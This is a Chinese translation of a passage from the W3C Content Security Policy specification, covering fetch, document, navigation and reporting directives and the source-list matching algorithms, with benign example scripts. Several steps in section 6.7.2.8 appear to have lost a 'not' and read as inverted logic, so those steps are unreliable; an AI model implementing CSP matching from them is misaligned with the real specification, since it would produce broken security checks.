注意: 当插件资源直接导航到(即作为 插件导航项内,而不是通过 embedobject 作为嵌入的子资源),该资源随附的任何 策略都将应用于结果 Document。例如,开发人员可以通过随响应一起提供策略 object-src 'none' 来阻止任意资源作为插件内容的执行。鉴于插件的强大功能(以及 Flash 等插件有时呈现的特殊安全模型),这可以减轻如 Rosetta Flash 等攻击向量的风险。

6.1.9.1. object-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameobject-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9.2. object-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameobject-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.10. script-src

script-src 指令限制脚本可执行的位置。这不仅包括直接加载到 script 元素中的 URL,还包括内联脚本块和可触发脚本执行的 XSLT 样式表 [XSLT]。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "script-src"
directive-value = serialized-source-list

script-src 指令作为所有 类脚本目标的默认回退(包括 worker 特定的目标,如果没有 worker-src)。除非需要细粒度控制,否则应该使用 script-src 而不是 script-src-attrscript-src-elem,因为在大多数情况下,没有理由为内联事件处理程序和 script 元素维护单独的权限列表。

script-src 指令控制以下六个方面:

  1. 脚本 请求 必须通过 § 4.1.2 内容安全策略是否应阻止请求?

  2. 脚本 响应 必须通过 § 4.1.3 内容安全策略是否应阻止请求的响应?

  3. 内联 script 块必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。除非每个策略都允许内联脚本(要么隐式地没有指定 script-srcdefault-src 指令,要么显式地指定 "unsafe-inline"、与内联块匹配的 nonce-sourcehash-source),其行为将被阻止。

  4. 以下 JavaScript 执行接收器受“unsafe-eval”和“trusted-types-eval”源表达式的限制:

    注意: 如果用户代理实现了非标准接收器,例如 setImmediate()execScript(),它们也应该基于 "unsafe-eval" 进行控制。
    注意: 由于 "unsafe-eval" 充当全局页面标志,因此在执行此检查时不使用 script-src-attrscript-src-elem,而是始终使用 script-src(或其回退指令)。

  5. 以下 WebAssembly 执行接收器基于 "wasm-unsafe-eval" 或 "unsafe-eval" 源表达式进行控制:

    注意: "wasm-unsafe-eval" 源表达式是更具体的源表达式。特别是,"unsafe-eval" 允许 WebAssembly 的编译(和实例化),同时也允许例如 JavaScript 中的 "eval" 操作。"wasm-unsafe-eval" 源表达式只允许 WebAssembly,并不影响 JavaScript。

  6. 导航到 javascript: URL 必须通过 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?。如上所述,只有每个策略都允许内联脚本时,这样的导航才会执行脚本。

6.1.10.1. script-src 预请求检查

此指令的 预请求检查如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设为执行 § 6.8.1 获取请求的有效指令request 上的结果。

  2. 如果执行 § 6.8.4 是否应执行取指令namescript-srcpolicy 上的结果为 "No",则返回 "Allowed"。

  3. 返回执行 § 6.7.1.1 脚本指令预请求检查request、该指令和 policy 上的结果。

6.1.10.2. script-src 后请求检查

此指令的 后请求检查如下:

给定一个请求 request,一个响应 response,以及一个策略 policy

  1. name 设为执行 § 6.8.1 获取请求的有效指令request 上的结果。

  2. 如果执行 § 6.8.4 是否应执行取指令namescript-srcpolicy 上的结果为 "No",则返回 "Allowed"。

  3. 返回执行 § 6.7.1.2 脚本指令后请求检查requestresponse、该指令和 policy 上的结果。

6.1.10.3. script-src 内联检查

此指令的 内联检查算法如下:

给定一个Element element,一个字符串 type,一个策略 policy 以及一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 设为执行 § 6.8.2 获取内联检查的有效指令type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令namescript-srcpolicy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?element、该指令的 typesource 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.11. script-src-elem

此指令的名称和值的语法如下 ABNF 描述:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

script-src-elem 指令适用于所有脚本请求和脚本块。执行脚本的属性(内联事件处理程序)通过 script-src-attr 进行控制。

因此,与 script-src 相比,存在以下区别:

6.1.11.1. script-src-elem 预请求检查

此指令的 预请求检查如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设为执行 § 6.8.1 获取请求的有效指令request 上的结果。

  2. 如果执行 § 6.8.4 是否应执行取指令namescript-src-elempolicy 上的结果为 "No",则返回 "Allowed"。

  3. 返回执行 § 6.7.1.1 脚本指令预请求检查request、该指令和 policy 上的结果。

6.1.11.2. script-src-elem 后请求检查

此指令的 后请求检查如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设为执行 § 6.8.1 获取请求的有效指令request 上的结果。

  2. 如果执行 § 6.8.4 是否应执行取指令namescript-src-elempolicy 上的结果为 "No",则返回 "Allowed"。

  3. 返回执行 § 6.7.1.2 脚本指令后请求检查requestresponse、该指令和 policy 上的结果。

6.1.11.3. script-src-elem 内联检查

此指令的 内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 设为执行 § 6.8.2 获取内联检查的有效指令type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令namescript-src-elempolicy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?element、该指令的 typesource 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.12. script-src-attr

此指令的名称和值的语法如下 ABNF 描述:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

script-src-attr 指令适用于事件处理程序,如果存在,它将覆盖 script-src 指令以进行相关检查。

6.1.12.1. script-src-attr 内联检查

此指令的 内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source

  1. 断言:element 不为 null 或 type 为 "navigation"。

  2. name 设为执行 § 6.8.2 获取内联检查的有效指令type 上的结果。

  3. 如果执行 § 6.8.4 是否应执行取指令namescript-src-attrpolicy 上的结果为 "No",则返回 "Allowed"。

  4. 如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表?element、该指令的 typesource 上的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.13. style-src

style-src 指令限制了可以将样式应用于 文档 的位置。该指令名称和值的语法如下 ABNF 描述:

directive-name  = "style-src"
directive-value = serialized-source-list

style-src 指令控制以下几项:

  1. 样式 请求 必须通过 § 4.1.2 内容安全策略应阻止请求吗?。包括:

    1. link 元素发起的样式表请求。

    2. @import 规则发起的样式表请求。

    3. Link HTTP 响应头字段 [RFC8288] 发起的样式表请求。

  2. 样式请求的 响应 必须通过 § 4.1.3 内容安全策略应阻止请求的响应吗?

  3. 内联 style 块必须通过 § 4.2.3 元素的内联类型行为应被内容安全策略阻止吗?。除非每个策略允许内联样式,样式将被阻止。允许方式包括:不指定 style-src(或 default-src)指令,或者显式指定 "unsafe-inline",nonce-sourcehash-source 匹配内联块。

  4. 以下 CSS 算法受到 unsafe-eval 源表达式的限制:

    1. 插入 CSS 规则

    2. 解析 CSS 规则

    3. 解析 CSS 声明块

    4. 解析选择器组

    这包括例如 CSSOM 的各种 cssText 设置器和 insertRule 方法的所有调用 [CSSOM] [HTML]

    这需要更好地解释。[w3c/webappsec-csp 问题 #212]

6.1.13.1. style-src 预请求检查

该指令的预请求检查如下:

给定一个请求 request 和一个策略 policy

  1. 执行§ 6.8.1 获取请求的有效指令,获取requestname

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-srcpolicy的结果为"No",则返回"Allowed"。

  3. 如果执行§ 6.7.2.3 nonce是否匹配源列表后,request加密nonce元数据与此指令的结果为"Matches",则返回"Allowed"。

  4. 如果执行§ 6.7.2.5 请求是否匹配源列表后,request、此指令的policy的结果为"Does Not Match",则返回"Blocked"。

  5. 返回"Allowed"。

6.1.13.2. style-src 后请求检查

该指令的后请求检查如下:

给定一个请求 request,一个响应 response,以及一个策略 policy

  1. 执行§ 6.8.1 获取请求的有效指令,获取requestname

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-srcpolicy的结果为"No",则返回"Allowed"。

  3. 如果执行§ 6.7.2.3 nonce是否匹配源列表后,request加密nonce元数据与此指令的结果为"Matches",则返回"Allowed"。

  4. 如果执行§ 6.7.2.6 响应是否匹配源列表后,responserequest、此指令的policy的结果为"Does Not Match",则返回"Blocked"。

  5. 返回"Allowed"。

6.1.13.3. style-src 内联检查

该指令的内联检查算法如下:

给定一个元素 element,一个字符串type,一个策略 policy,以及一个字符串source

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取typename

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-srcpolicy的结果为"No",则返回"Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、此指令的typesource的结果为"Does Not Match",则返回"Blocked"。

  4. 返回"Allowed"。

该指令的初始化算法如下:

对执行上下文做一些有趣的操作,以锁定有趣的CSSOM算法。我认为CSSOM在这里没有给我们任何钩子,所以我们需要与他们合作以制定合理的解决方案。

6.1.14. style-src-elem

该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

style-src-elem 指令管理样式的行为,除内联属性定义的样式外。

6.1.14.1. style-src-elem 前请求检查

该指令的前请求检查如下:

给定一个请求 request 和一个策略 policy

  1. 执行§ 6.8.1 获取请求的有效指令,获取 requestname

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-src-elempolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.2.3 nonce 是否匹配源列表后,request加密 nonce 元数据 和该指令的 结果为 "Matches",则返回 "Allowed"。

  4. 如果执行§ 6.7.2.5 请求是否匹配源列表后,request、该指令的 policy 的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.14.2. style-src-elem 后请求检查

该指令的后请求检查如下:

给定一个请求 request,一个响应 response,以及一个策略 policy

  1. 执行§ 6.8.1 获取请求的有效指令,获取 requestname

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-src-elempolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.2.3 nonce 是否匹配源列表后,request加密 nonce 元数据 和该指令的 结果为 "Matches",则返回 "Allowed"。

  4. 如果执行§ 6.7.2.6 响应是否匹配源列表后,responserequest、该指令的 policy 的结果为 "Does Not Match",则返回 "Blocked"。

  5. 返回 "Allowed"。

6.1.14.3. style-src-elem 内联检查

该指令的内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy,以及一个字符串 source

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取 typename

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-src-elempolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 typesource 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.15. style-src-attr

该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

style-src-attr 指令管理样式属性的行为。

6.1.15.1. style-src-attr 内联检查

该指令的内联检查算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source

  1. 执行§ 6.8.2 获取内联检查的有效指令,获取 typename

  2. 如果执行§ 6.8.4 是否应执行获取指令后,namestyle-src-attrpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 typesource 的结果为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.2. 其他指令

6.2.1. webrtc

webrtc 指令用于限制是否可以通过 WebRTC 建立连接。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
假设页面具有以下内容安全策略:
Content-Security-Policy: webrtc 'block'

本地 ICE 候选将不会出现,因为不会对提供给对等连接的 ICE 服务器进行 STUN 检查;不会对 JS 提供的任何远程候选进行连通性检查;连接状态将不会从初始状态“new”转换到“connected”,而是直接从“new”转换到“failed”。尝试调用 pc.restartIce() 将导致相同的结果。

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc 预连接检查

该指令的 webrtc 预连接检查如下:

  1. 如果该指令的 仅包含一个与字符串 "'allow'" 的 ASCII 不区分大小写匹配项,则返回 "Allowed"。

  2. 返回 "Blocked"。

6.2.2. worker-src

worker-src 指令限制可以作为 WorkerSharedWorkerServiceWorker 加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "worker-src"
directive-value = serialized-source-list
假设页面具有以下内容安全策略:
Content-Security-Policy: worker-src https://example.com/

以下代码的抓取将返回网络错误,因为提供的 URL 不匹配 worker-src源列表

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src 预请求检查

该指令的 预请求检查如下:

给定一个 请求 request 和一个 策略 policy

  1. request 执行 § 6.8.1 获取请求的有效指令,结果赋值给 name

  2. 如果执行 § 6.8.4 指令是否应执行nameworker-srcpolicy 上的结果是 "No",返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配源列表request、此指令的 policy 上的结果是 "Does Not Match",返回 "Blocked"。

  4. 返回 "Allowed"。

6.2.2.2. worker-src 后请求检查

该指令的 后请求检查如下:

给定一个 请求 request、一个 响应 response 和一个 策略 policy

  1. request 执行 § 6.8.1 获取请求的有效指令,结果赋值给 name

  2. 如果执行 § 6.8.4 指令是否应执行nameworker-srcpolicy 上的结果是 "No",返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配源列表responserequest、此指令的 policy 上的结果是 "Does Not Match",返回 "Blocked"。

  4. 返回 "Allowed"。

6.3. 文档指令

以下指令管理适用于文档或工作者环境的属性。

6.3.1.base-uri

base-uri 指令限制可以用于 URL 的范围,这些 URL 可以用于 文档base 元素中。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "base-uri"
directive-value = serialized-source-list

以下算法在 HTML 的 设置冻结的基本 URL 算法中调用,以监控和执行此指令:

6.3.1.1.base 是否允许用于 document

给定一个 URL base 和一个 文档 document,如果 base 可以用作 base 元素的 href 属性的值,则返回 "Allowed",否则返回 "Blocked":

  1. 对于每个 policy,属于 document全局对象CSP 列表

    1. source list 为 null。

    2. 如果在 policy指令集 中存在一个 指令,其 名称 为 "base-uri",则将 source list 设置为该 指令

    3. 如果 source list 为 null,则跳到下一个 policy

    4. 如果在 basesource listpolicyself-origin0 上执行 § 6.7.2.7 URL 是否与源列表匹配(包括重定向计数) 的结果为 "不匹配":

      1. violation 为在 document全局对象policy 和 "base-uri" 上执行 § 2.4.1 创建全局、策略和指令的违规对象 的结果。

      2. violation资源 设置为 "inline"。

      3. violation 上执行 § 5.5 报告违规

      4. 如果 policy处置 为 "强制执行",则返回 "Blocked"。

    注意:我们与回退的基本 URL 进行比较,以便正确处理类似于 被沙盒处理为不透明来源的 srcdoc 文档 的 iframe 之类的内容。

  2. 返回 "Allowed"。

6.3.2.sandbox

sandbox 指令指定了一个 HTML 沙盒策略,用户代理将对资源应用该策略,就像它被包含在具有 iframe 元素的 sandbox 属性中一样。

该指令的语法由以下 ABNF 语法描述,并有额外要求,即每个标记值必须是 HTML 规范中允许用于 iframe sandbox 属性的关键字之一[HTML]

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

该指令没有报告要求;当它通过 Content-Security-Policy-Report-Only 头或在 meta 元素内传递时,将被完全忽略。

6.3.2.1.sandbox 初始化

该指令的 初始化 算法负责检查工人是否根据其策略中存在的 sandbox 值被允许运行:

注意:sandbox 指令还负责通过 CSP 派生的沙盒标志调整 文档活动沙盒标志集

给定一个 Document全局对象 context 以及一个策略 policy

  1. 如果 policy处置 不是 "强制执行",或者 context 不是 WorkerGlobalScope,则中止此算法。

  2. sandboxing flag set 为一个新的 沙盒标志集

  3. 使用该指令的 作为输入,sandboxing flag set 作为输出,执行 解析沙盒指令

  4. 如果 sandboxing flag set 包含 沙盒脚本浏览上下文标志沙盒来源浏览上下文标志,则返回 "Blocked"。

    注意:如果我们允许工人被沙盒化为独特的来源,这可能需要更改,这是一个相当合理的做法。

  5. 返回 "Allowed"。

6.4. 导航指令

6.4.1.form-action

form-action 指令限制可以用作给定上下文中表单提交目标的 URL。该指令的语法由以下 ABNF 语法描述:

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1.form-action 预导航检查

给定一个请求 request,一个字符串 navigation type (“form-submission”或“other”),以及一个策略 policy,如果表单提交违反了 form-action 指令的约束,则此算法返回“Blocked”,否则返回“Allowed”。这构成了 form-action 指令的预导航检查

  1. 断言:policy 在此算法中未使用。

  2. 如果 navigation type 是 "form-submission":

    1. 如果在 request、此指令的 policy 上执行 § 6.7.2.5 请求是否匹配来源列表? 的结果是 "Does Not Match",则返回 "Blocked"。

  3. 返回 "Allowed"。

6.4.2.frame-ancestors

frame-ancestors 指令限制可以使用 frameiframeobjectembed 嵌入资源的 URL。资源可以使用该指令避免许多用户界面伪装攻击[UISECURITY],从而避免被嵌入到潜在的恶意上下文中的风险。

该指令的语法由以下 ABNF 语法描述:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

frame-ancestors 指令包含在通过 meta 元素声明的策略中时,必须忽略该指令。

注意:frame-ancestors 指令的语法类似于 来源列表,但如果指定了 default-src 指令的值,frame-ancestors 不会回退到该值。这意味着声明 default-src 'none' 的策略仍然允许任何人嵌入该资源。

6.4.2.1.frame-ancestors 导航响应检查

给定一个请求 request,一个字符串 navigation type (“form-submission”或“other”),一个响应 navigation response,一个可导航对象 target, 一个字符串 check type(“source”或“response”),以及一个策略 policy,如果 target 的一个或多个祖先违反了随响应一起提供的 frame-ancestors 指令,则此算法返回“Blocked”,否则返回“Allowed”。这构成了 frame-ancestors 指令的导航响应检查

  1. 如果 navigation responseURL 是本地的,返回 "Allowed"。

  2. 断言:requestnavigation responsenavigation type 在此算法的后续部分中不再使用,因为 frame-ancestors 仅与 navigation responseframe-ancestors 指令有关。

  3. 如果 check type 是 "source",返回 "Allowed"。

    注意:'frame-ancestors' 指令仅与 target 可导航对象 相关,对 request 的上下文没有影响。

  4. 如果 target 不是 子可导航对象,返回 "Allowed"。

  5. currenttarget

  6. current子可导航对象时:

    1. documentcurrent容器文档

    2. origin 为在 document来源上执行 URL 解析器 的结果。

    3. 如果在 origin、此指令的 policy自身来源0 上执行 § 6.7.2.7 URL 是否匹配来源列表中的来源和重定向计数? 的结果是 "Does Not Match",则返回 "Blocked"。

    4. current 设置为 document节点可导航对象

  7. 返回 "Allowed"。

6.4.2.2. 与 ``X-Frame-Options`` 的关系

此指令类似于 ``X-Frame-Options`` HTTP 响应标头。'none' 源表达式大致等同于该标头的 `DENY`,而 'self' 则大致等同于该标头的 `SAMEORIGIN`。[HTML]

为了允许向后兼容的部署,frame-ancestors 指令覆盖了 ``X-Frame-Options`` 标头。如果资源随附的策略包含名为 frame-ancestors 且其处置方式为 "enforce" 的指令,则根据 HTML 的处理模型, ``X-Frame-Options`` 标头将被忽略。

6.5. 报告指令

本文档中的各种算法通过创建一个 违规对象,使用 § 2.4.2 为请求和策略创建违规对象§ 2.4.1 为全局、策略和指令创建违规对象,并将该对象传递给 § 5.5 报告违规 来实现报告过程。

6.5.1. report-uri

注意:report-uri 指令已被弃用。请改用 report-to 指令。如果存在后者指令,则会忽略此指令。为了确保向后兼容,我们建议同时指定两者,如下所示:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

report-uri 指令定义了一组端点,当特定行为被阻止时,CSP 违规报告将被发送到这些端点。

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )

; uri-reference 语法定义在 RFC 3986 的第 4.1 节。

此指令本身没有任何效果,但仅在与其他指令结合使用时才具有意义。

6.5.2. report-to

report-to 指令定义了应将违规报告发送到的 报告端点[REPORTING]。该指令的行为定义在 § 5.5 报告违规 中。指令的名称和值由以下 ABNF 描述:

directive-name  = "report-to"
directive-value = token

6.6. 其他文档中定义的指令

本文档定义了一组核心指令,并为其他规范的模块化扩展建立了框架。在本文档生成时,以下稳定的文档扩展了 CSP:

对 CSP 的扩展必须通过 [RFC7762] 中概述的流程进行注册。特别是请注意该文档第 4.2 节中讨论的标准。

新指令应使用 预请求检查后请求检查初始化 钩子,以便将自己整合到 Fetch 和 HTML 中。

6.7. 匹配算法

6.7.1. 脚本指令检查

6.7.1.1. 脚本指令的预请求检查

给定一个请求 request,一个指令 directive, 以及一个策略 policy

  1. 如果 request目标类似脚本的

    1. 如果在 request加密随机数元数据和此指令的上执行§ 6.7.2.3 随机数是否匹配源列表?的结果是“Matches”,则返回“Allowed”。

    2. 如果在 request完整性元数据和此指令的上执行§ 6.7.2.4 完整性元数据是否匹配源列表?的结果是“Matches”,则返回“Allowed”。

    3. 如果 directive包含一个源表达式,该表达式与“'strict-dynamic'关键字源 ASCII 不区分大小写匹配:

      1. 如果 request解析器元数据“parser-inserted”,则返回“Blocked”。

        否则,返回“Allowed”。

        注意:'strict-dynamic'” 在§ 8.2 “'strict-dynamic'”的用法中有更详细的解释。

    4. 如果在 requestdirectivepolicy 上执行§ 6.7.2.5 请求是否匹配源列表?的结果是“Does Not Match”,则返回“Blocked”。

  2. 返回“Allowed”。

6.7.1.2. 脚本指令的后请求检查

此指令的后请求检查如下:

给定一个请求 request,一个响应 response, 一个指令 directive,以及一个策略 policy

  1. 如果 request目标类似脚本的

    1. 使用 responserequestdirectivepolicy 调用可能报告哈希

    2. 如果在 request加密随机数元数据和此指令的上执行§ 6.7.2.3 随机数是否匹配源列表?的结果是“Matches”,则返回“Allowed”。

    3. 如果在 request完整性元数据和此指令的上执行§ 6.7.2.4 完整性元数据是否匹配源列表?的结果是“Matches”,则返回“Allowed”。

    4. 如果 directive包含“'strict-dynamic'”:

      1. 如果 request解析器元数据不是“parser-inserted”,则返回“Allowed”。

        否则,返回“Blocked”。

    5. 如果在 responserequestdirectivepolicy 上执行§ 6.7.2.6 对请求的响应是否匹配源列表?的结果是“Does Not Match”,则返回“Blocked”。

  2. 返回“Allowed”。

6.7.2. URL 匹配

6.7.2.1. request 是否违反 policy?

给定一个请求 request 和一个策略 policy,如果请求违反了策略,则此算法返回被违反的指令,否则返回“Does Not Violate”。

  1. 如果 request发起者 是 "prefetch",则执行 § 6.7.2.2 资源提示请求是否违反策略?,返回结果。

  2. violates 为 "Does Not Violate"。

  3. 对于每个 policydirective

    1. result 为执行 directive预请求检查requestpolicy 上的结果。

    2. 如果 result 为 "Blocked",则将 violates 设为 directive

  4. 返回 violates

6.7.2.2. 资源提示 request 是否违反 policy?

给定一个请求 request 和一个策略 policy,如果资源提示请求违反了所有策略,则此算法返回默认的指令,否则返回“Does Not Violate”。

  1. defaultDirectivepolicy 中第一个其名称为“default-src”的指令

  2. 如果 defaultDirective 不存在,则返回“Does Not Violate”。

  3. 对于 policy 中的每个 directive

    1. 如果 directive名称不是以下之一:

      • child-src

      • connect-src

      • font-src

      • frame-src

      • img-src

      • manifest-src

      • media-src

      • object-src

      • script-src

      • script-src-elem

      • style-src

      • style-src-elem

      • worker-src

      则继续。

    2. 断言:directive是一个源列表

    3. result 为在 requestdirectivepolicy 上执行§ 6.7.2.5 请求是否匹配源列表?的结果。

    4. 如果 result 为“Allowed”,则返回“Does Not Violate”。

  4. 返回 defaultDirective

6.7.2.3. nonce 是否匹配 源列表?

给定一个请求加密随机数元数据 nonce 和一个源列表 source list,如果随机数与列表中的一个或多个源表达式匹配,则此算法返回“Matches”,否则返回“Does Not Match”:

  1. 断言:source list 不为 null。

  2. 如果 nonce 是空字符串,返回 "Does Not Match"。

  3. 对于每个 source listexpression

    1. 如果 expression 匹配 nonce-source 语法,且 nonceexpressionbase64-value 部分相同,返回 "Matches"。

  4. 返回 "Does Not Match"。

6.7.2.4. integrity metadata 是否匹配 源列表?

给定一个请求完整性元数据 integrity metadata 和一个源列表 source list,如果完整性元数据与列表中的一个或多个源表达式匹配,则此算法返回“Matches”,否则返回“Does Not Match”:

  1. 断言:source list 不为 null。

  2. integrity expressionssource list 中与哈希源语法匹配的源表达式集合。

  3. 如果 integrity expressions 为空,则返回“Does Not Match”。

  4. integrity sources 为在 integrity metadata 上执行 SRI § 3.3.2 解析元数据中定义的算法的结果。[SRI]

  5. 如果 integrity sources 是“no metadata”或空集,则返回“Does Not Match”。

  6. 对于 integrity sources 中的每个 source

    1. 如果 integrity expressions 不包含一个源表达式,其哈希算法source哈希算法 ASCII 不区分大小写匹配,并且其base64 值sourcebase64-value 相同, 则返回“Does Not Match”。

  7. 返回“Matches”。

注意: 此处仅验证 integrity metadata 是否是 source listhash-source 源的非空子集。我们依赖浏览器对子资源完整性 [SRI] 的执行,以在响应时阻止不匹配的资源。

6.7.2.5. request 是否匹配 源列表?

给定一个请求 request,一个源列表 source list, 以及一个策略 policy,此算法返回在 request当前 URLsource listpolicy自身源request重定向计数上执行§ 6.7.2.7 URL 是否与源中的源列表匹配(带重定向计数)?的结果。

注意:这通常用于指令请求前检查算法,以验证给定的请求是否合理。

6.7.2.6. responserequest 是否匹配 源列表

给定一个响应 response,一个请求 request,一个源列表 source list,以及一个策略 policy,此算法返回在 responseURLsource listpolicy自身源, 以及 request重定向计数上执行§ 6.7.2.7 URL 是否与源中的源列表匹配(带重定向计数)?的结果。

注意:这通常用于指令后请求检查算法,以验证给定的响应是否合理。

6.7.2.7. url 是否匹配 source list 中的表达式及 redirect count

给定一个 URL url,一个 源列表 source list,一个 来源 origin,以及一个数字 redirect count,此算法如果 url 匹配 source list 中的一个或多个源表达式则返回 "Matches",否则返回 "Does Not Match":

  1. 断言:source list 不为 null。

  2. 如果 source list 为空,返回 "Does Not Match"。

  3. 如果 source list大小为 1,且 source list[0] 是与字符串 "'none'" 的 ASCII 大小写不敏感匹配,返回 "Does Not Match"。

    注意:空的源列表(即没有值的指令:script-src,与 script-src host1 不同)等同于包含 'none' 的源列表,并且不会匹配任何 URL。

    注意:当存在其他源表达式时,'none' 关键字没有效果。即,列表 « 'none' » 不匹配任何 URL。然而,列表 « 'none', https://example.com » 将匹配 https://example.com/

  4. 对于每一个 source list 中的 expression

    1. 如果 § 6.7.2.8 URL 是否匹配来源中的表达式及重定向计数?urlexpressionoriginredirect count 执行后返回 "Matches",则返回 "Matches"。

  5. 返回 "Does Not Match"。

6.7.2.8. url 是否匹配 origin 中的 expressionredirect count

给定一个 URL url, 一个 源表达式 expression, 一个 origin origin, 和一个数字 redirect count, 此算法将返回 "Matches" 如果 urlexpression 匹配, 否则返回 "Does Not Match"。

注意: origin 是相对于其应解析 expression 的资源的 origin。 "'self'" 例如,在不同的上下文中会有不同的含义。

  1. 如果 expression 是字符串 "*",并且满足以下条件之一,则返回 "Matches":

    1. urlschemeHTTP(S) scheme

    2. urlschemeoriginscheme 相同。

    注意: 此逻辑意味着要允许来自非 HTTP(S) scheme 的资源, 必须明确指定它(例如: default-src * data: custom-scheme-1: custom-scheme-2:), 或者受保护资源必须从相同的 scheme 加载。

  2. 如果 expression 匹配 scheme-sourcehost-source 语法:

    1. 如果 expression 有一个 scheme-part,并且它不 scheme-part 匹配 urlscheme,则返回 "Does Not Match"。

    2. 如果 expression 匹配 scheme-source 语法, 则返回 "Matches"。

  3. 如果 expression 匹配 host-source 语法:

    1. 如果 urlhost 为空,则返回 "Does Not Match"。

    2. 如果 expression 没有 scheme-part,并且 originschemescheme-part 匹配 urlscheme, 则返回 "Does Not Match"。

      注意: 与上面的 scheme-part 一样, 我们允许将无 scheme 的 host-source 表达式从不安全的 scheme 升级到安全的 scheme。

    3. 如果 expressionhost-parthost-part 匹配 urlhost, 则返回 "Does Not Match"。

    4. 如果存在 expressionport-part,则令 port-part 为其值,否则为 null。

    5. 如果 port-partport-part 匹配 url, 则返回 "Does Not Match"。

    6. 如果 expression 包含一个非空的 path-part,并且 redirect count 为 0,那么:

      1. path 为通过连接 url路径,使用 U+002F SOLIDUS 字符 (/) 得到的结果。

      2. 如果 expressionpath-partpath-part 匹配 path, 则返回 "Does Not Match"。

    7. 返回 "Matches"。

  4. 如果 expression 与 "'self'" 进行 ASCII 大小写不敏感 匹配, 如果满足以下任一条件,则返回 "Matches":

    1. originurlorigin 相同

